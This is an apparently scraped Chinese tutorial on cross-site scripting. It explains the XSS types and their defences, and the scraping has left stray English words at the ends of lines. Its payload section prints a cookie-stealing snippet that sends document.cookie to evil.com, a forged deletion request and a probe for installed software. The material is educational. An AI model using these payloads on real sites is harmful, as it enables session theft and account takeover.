Web安全之跨站脚本攻击(XSS)

XSS 简介

跨站脚本攻击,英文全称是 Cross Site Script,原本缩写是CSS,可是为了和层叠样式表(Cascading Style Sheet,CSS)有所区别,因此在安全领域叫作“XSS”。javascript

XSS 攻击,一般指黑客利用网站没有对用户提交数据进行转义处理或者过滤不足的缺点,从而经过“HTML注入”篡改了网页,插入了恶意的脚本,而后在用户浏览网页时,控制用户浏览器(盗取用户资料、利用用户身份进行某种动做或者对访问者进行病毒侵害)的一种攻击方式。php

XSS 危害

  1. 盗取各种用户账号,如机器登陆账号、用户网银账号、各种管理员账号html

  2. 控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力java

  3. 盗窃企业重要的具备商业价值的资料数据库

  4. 非法转帐json

  5. 强制发送电子邮件浏览器

  6. 网站挂马安全

  7. 控制受害者机器向其它网站发起攻击bash

XSS 分类

反射型 XSS

反射型 XSS 也叫作“非持久型XSS”(Non-per-sistent XSS),它是最多见的类型的 XSS。服务器

反射型 XSS 只是简单地把用户输入的数据“反射”给浏览器。也就是说,黑客每每须要诱使用户“点击”一个恶意连接,才能攻击成功。

简单例子

假设一个页面把用户输入的参数直接输出到页面上:

// test.php
<?php
    $input = $_GET["param"];
    echo "<div>".$input."</div>";
?>
复制代码
正常状况

用户向 param 提交的数据会展现到页面中,好比提交:

http://www.a.com/test.php?param=这是一个测试!
复制代码

这样在页面就会显示 这是一个测试!

非正常状况

可是若是提交一段HTML代码:

http://www.a.com/test.php?param=<script>alert(/xss/)</script>
复制代码

此时页面源码以及嵌入 <script>alert(/xss/)</script>,那么 alert(/xss/) 将会在当前页面执行,而这显然不是开发者所但愿看到的,对于黑客来讲这样就完成了一次攻击了。

存储型 XSS

存储型 XSS 一般也叫作“持久型XSS”(Persistent XSS),由于从效果上来讲,它存在的时间是比较长的。

存储型 XSS 会把用户输入的数据“存储”在服务器端。这种 XSS 具备很强的稳定性。

简单例子

假设在文章下面的评论区有这样的一个评论表单提交代码:

<input type="text" name="content" value="这里是用户填写的数据">
复制代码
正常状况

用户提交正常的评论内容(如 “这是一篇好文章啊!”),而后该评论内容将存储到数据库中。等其余用户查看该文章时,从数据库将评论内容取出并显示。

非正常状况

黑客提交 <script>alert(/xss/)</script> 这样的评论内容,而后该评论内容将存储到数据库中。等其余用户查看该文章时,从数据库中取出并显示,此时浏览器将执行这段攻击代码。

DOM Based XSS

实际上,这种类型的 XSS 并不是按照“数据是否保存在服务器端”来划分,DOM Based XSS 从效果上来讲也是反射型 XSS。单独划分出来,是由于 DOM Based XSS 的造成缘由比较特别,发现它的安全专家专门提出了这种类型的 XSS。出于历史缘由,也就把它单独做为一个分类了。

DOM Based XSS 经过修改页面的 DOM 节点造成的 XSS。

简单例子

<script> function test(){ var str = document.getElementById("text").value; document.getElementById("t").innerHTML = "<a href='"+str+"' >testLink</a>"; } </script>

<div id="t"></div>
<input type="text" id="text" value="" />
<input type="button" id="s" value="write" onclick="test()" />
复制代码
正常状况

点击“write”按钮后,会在当前页面插入一个超连接,其地址为文本框的内容。

非正常状况

在文本框输入 ' onclick=alert(/xss/) //,这样生成的超连接为 <a href='' onlick=alert(/xss/)//' >testLink</a>,原理就是用一个单引号闭合掉href的第一个单引号,而后插入一个onclick事件,最后再用注释符“//”注释掉第二个单引号。这样点击新生成的超连接,就会执行攻击代码了。

还有另一种攻击方式,将 <a> 标签闭合掉,而后插入一个新的 HTML 标签,以下示例:

在文本框输入 '><img src=# onerror=alert(/xss2/) /><',这样生成的超连接变为 <a href=''><img src=# onerror=alert(/xss2/) /><'' >testLink</a>,图片加载失败以后就会执行攻击代码了。

XSS Payload

前文谈到了 XSS 的几种分类。接下来,就从攻击的角度来体验一下 XSS 的威力。

XSS 攻击成功后,攻击者可以对用户当前浏览的页面植入恶意脚本,经过恶意脚本,控制用户的浏览器。这些用以完成各类具体功能的恶意脚本,被称为“XSS Payload”。

XSS Payload 实际上就是 JavaScript 脚本(还能够是 Flash 或其余富客户端的脚本),因此任何 JavaScript 脚本能实现的功能,XSS Payload 都能作到。

经过 XSS Payload 能够实现以下攻击:

Cookie 劫持

在当前的 Web 中,Cookie 通常是用户登陆的凭证,浏览器发起的全部请求都会自动带上 Cookie。若是 Cookie 没有绑定客户端信息,当攻击者窃取了 Cookie 后,就能够不用密码登陆进用户的帐户。

攻击代码:

var img = document.createElement("img");
img.src = "http://www.evil.com/log?"+escape(document.cookie);
document.body.appendChild(img);
复制代码

这段代码在页面中插入了一张看不见的图片,同时把 document.cookie 对象做为参数发送到远程服务器,这样,就完成了一个简单的窃取 Cookie 的 XSS Payload。

而后使用窃取到的 Cookie 经过自定义 Cookie 的方式访问网站,达到登陆目标用户的帐户的目的。

构造 GET 与 POST 请求

一个网站经过 HTTP 协议中的 GET 或 POST 请求便可完成全部操做,所以可经过让浏览器对目标网站发起这两种请求来达到攻击的目的。

假设某个网站有这样的一个删除文章的请求:

http://www.test.com/blog/delete?id=156713012
复制代码

对于攻击者来讲,只须要知道文章的 id,就可以经过这个请求删除这篇文章了。

攻击代码:

var img = document.createElement("img");
img.src = "http://www.test.com/blog/delete?id=156713012";
document.body.appendChild(img);
复制代码

攻击者只须要让博客的做者执行这段 JavaScript 代码(XSSPayload),就会把这篇文章删除。在具体攻击中,攻击者将经过 XSS 诱使用户执行 XSS Payload。

XSS 钓鱼

若是经过构造 POST 请求(表单提交)进行攻击时,在提交表单时要求用户输入验证码,那么通常的 XSS Payload 都会失效;此外,在大多数“修改用户密码”的功能中,在提交新密码前,都会要求用户输入“Old Password”。而这个“Old Password”,对于攻击者来讲,每每是不知道的。

对于验证码,XSS Payload 能够经过读取页面内容,将验证码的图片 URL 发送到远程服务器上来实施——黑客能够在远程XSS后台接收当前验证码,并将验证码的值返回给当前的 XSS Payload,从而绕过验证码。

修改密码的问题稍微复杂点。为了窃取密码,攻击者能够将 XSS 与“钓鱼”相结合。实现思路很简单:利用 JavaScript 在当前页面上“画出”一个伪造的登陆框,当用户在登陆框中输入用户名与密码后,其密码将被发送至黑客的服务器上。

识别用户浏览器

  1. 读取浏览器的 UserAgent 对象。

  2. 因为浏览器之间的实现存在差别——不一样的浏览器会各自实现一些独特的功能,而同一个浏览器的不一样版本之间也可能会有细微差异。因此经过分辨这些浏览器之间的差别,就能准确地判断出浏览器版本,而几乎不会误报。这种方法比读取UserAgent要准确得多。

识别用户安装的软件

知道了用户使用的浏览器、操做系统后,进一步能够识别用户安装的软件。

在IE中,能够经过判断 ActiveX 控件的 classid 是否存在,来推测用户是否安装了该软件。这种方法很早就被用于“挂马攻击”——黑客经过判断用户安装的软件,选择对应的浏览器漏洞,最终达到植入木马的目的。

攻击代码:

try {
    var Obj = new ActiveXObject(‘XunLeiBHO.ThunderIEHelper’);
} catch (e) {
    // 异常了,不存在该控件
}
复制代码

这段代码检测迅雷的一个控件(“XunLeiBHO.Thun-derIEHelper”)是否存在。若是用户安装了迅雷软件,则默认也会安装此控件。所以经过判断此控件,便可推测用户安装了迅雷软件的可能性。

CSS History Hack

咱们再看看另一个有趣的 XSS Payload——经过 CSS,来发现一个用户曾经访问过的网站。其原理是利用 style 的 visited 属性——若是用户曾经访问过某个连接,那么这个连接的颜色会变得不同凡响。

获取用户的真实 IP 地址

经过 XSS Payload 还有办法获取一些客户端的本地IP地址。

不少时候,用户电脑使用了代理服务器,或者在局域网中隐藏在 NAT 后面。网站看到的客户端IP地址,是内网的出口IP地址,而并不是用户电脑真实的本地IP地址。如何才能知道用户的本地IP地址呢?

JavaScript 自己并无提供获取本地IP地址的能力,有没有其余办法?通常来讲,XSS 攻击须要借助第三方软件来完成。好比,客户端安装了 Java 环境(JRE),那么 XSS 就能够经过调用 Java Applet 的接口获取客户端的本地 IP 地址。

XSS 防护

HttpOnly

浏览器禁止页面的 JavaScript 访问带有 HttpOnly 属性的 Cookie。所以 HttpOnly 能够对抗 XSS 后的 Cookie 劫持攻击。

输入检查

常见的Web漏洞如 XSS、SQL Injection等,都要求攻击者构造一些特殊字符,这些特殊字符多是正经常使用户不会用到的,因此输入检查就有存在的必要了。

输入检查,在不少时候也被用于格式检查。例如,用户在网站注册时填写的用户名,会被要求只能为字母、数字的组合。好比“hello1234”是一个合法的用户名,而“hello#$^”就是一个非法的用户名。

又如注册时填写的电话、邮件、生日等信息,都有必定的格式规范。好比手机号码,应该是不长于16位的数字,且中国大陆地区的手机号码多是13x、15x开头的,不然即为非法。

这些格式检查,有点像一种“白名单”,也可让一些基于特殊字符的攻击失效。

输入检查的逻辑,必须放在服务器端代码中实现。若是只是在客户端使用JavaScript进行输入检查,是很容易被攻击者绕过的。目前Web开发的广泛作法,是同时在客户端JavaScript中和服务器端代码中实现相同的输入检查。客户端JavaScript的输入检查,能够阻挡大部分误操做的正经常使用户,从而节约服务器资源。

输出检查

既然“输入检查”存在这么多问题,那么“输出检查”又如何呢?

通常来讲,除了富文本的输出外,在变量输出到 HTML 页面时,可使用编码或转义的方式来防护 XSS 攻击。

安全编码函数

编码分为不少种,针对 HTML 代码的编码方式是 HtmlEn-code。

HtmlEncode 并不是专用名词,它只是一种函数实现。它的做用是将字符转换成 HTMLEntities,对应的标准是 ISO-8859-1。

为了对抗 XSS,在 HtmlEncode 中要求至少转换如下字符:

& --> &amp;

< --> &lt;

>--> &gt;

" --> &quot;

' --> &#x27;&emsp;&emsp; &apos; 不推荐

/ --> &#x2F; 包含反斜线是由于它可能会闭合一些 HTML entity

JavaScript 的编码方式可使用 JavascriptEncode。JavascriptEncode 与 HtmlEncode 的编码方法不一样,它须要使用“\”对特殊字符进行转义。在对抗 XSS 时,还要求输出的变量必须在引号内部,以免形成安全问题。比较下面两种写法:

var x = escapeJavascript($evil);
var y = '"'+escapeJavascript($evil)+'"';
复制代码

若是 escapeJavascript() 函数只转义了几个危险字符,好比 ‘、”、<、>、\、&、# 等,那么上面的两行代码输出后可能会变成:

var x = 1;alert(2); // 执行了额外的代码
var y = "1;alert(2)"; // 安全
复制代码

因此要求使用 JavascriptEncode 的变量输出必定要在引号内。

但是不少开发者没有这个习惯怎么办?这就只能使用一个更加严格的 JavascriptEncode 函数来保证安全——除了数字、字母外的全部字符,都使用十六进制“\xHH”的方式进行编码。在本例中:

var x = 1;alert(2); 变为 var x = 1\x3balert\x282\x29; // 保证是安全的
复制代码

参考

《白帽子讲Web安全》


转载请注明出处,谢谢!

相关文章
相关标签/搜索